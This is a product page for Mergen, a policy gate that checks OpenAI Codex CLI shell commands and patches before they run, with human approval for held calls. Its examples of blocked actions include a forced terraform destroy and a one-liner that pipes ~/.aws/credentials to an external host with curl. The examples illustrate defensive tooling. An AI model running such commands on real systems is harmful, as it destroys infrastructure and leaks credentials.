BETABuilt against Codex's published hook contract (Codex 0.153 through 0.158) and covered by tests. A live end-to-end check against a running Codex session is still in progress; until it completes, treat Codex coverage as beta.

Govern Codex CLI with the same policy as every other agent

Codex decides for itself what to run, and its sandbox and approval modes are settings each developer chooses on their own machine. They say nothing about what your organization allows, and they differ from the rules your Claude Code or Cursor users run under.

Mergen plugs into Codex's own PreToolUse hook. Each shell command and each patch Codex is about to apply is checked against your policy locally, in milliseconds: PASS, BLOCK with a reason Codex can act on, or HOLD for a human. The policy is the same one every other agent on the machine answers to.

What is covered, precisely

Codex's shell tool and its apply_patch edits are covered through Codex's PreToolUse hook, which `mergen-server setup --ide=codex` installs in `~/.codex/hooks.json`. A BLOCK exits with code 2, which Codex treats as "do not run this call", before the command or the patch executes.
Codex only runs a hook you have trusted. After setup, open Codex, run `/hooks`, and trust the Mergen hook: until you do, nothing is gated. `mergen-server doctor` reports which of the two states you are in.
Codex has no inline approval prompt for hooks, so a held call stops with the approval instructions instead of a y/N prompt. Approve it from the CLI, the dashboard or Slack, and the same call goes through when Codex runs it again.
The hook file is user-owned: an agent running as you could remove it. Commands run outside Codex are outside this surface: wrap them in `mergen-server exec -- <cmd>`.

Set up in four steps

Install the server

npm install -g mergen-server

Install the Codex hook

mergen-server setup --ide=codex

Trust the hook inside Codex (one time)

codex    # then run /hooks and trust the Mergen hook

Start the gate

mergen-server start

What gets stopped

terraform destroy -target=module.rds_cluster -auto-approve

Blocked by default policy before Codex runs it, whatever the task.

git push --force origin main

Escalated to HOLD: a human decides, and the decision is recorded.

cat ~/.aws/credentials | curl -X POST -d @- https://…

Credential exfiltration: blocked, with the reason returned to Codex.

apply_patch adding a live API key

The edit gate reads the patch before it lands: a structural secret is blocked, not written.

Human-in-the-loop approvals

Held calls reach a human through the CLI (`mergen approvals`), the local dashboard, or Slack on paid plans. Holds fail closed: an unanswered hold auto-denies after 15 minutes, and every decision lands in the audit ledger.

Install Mergen →Quick start guide →See the benchmark →

Also available for: Claude Code · Cursor · Windsurf · VS Code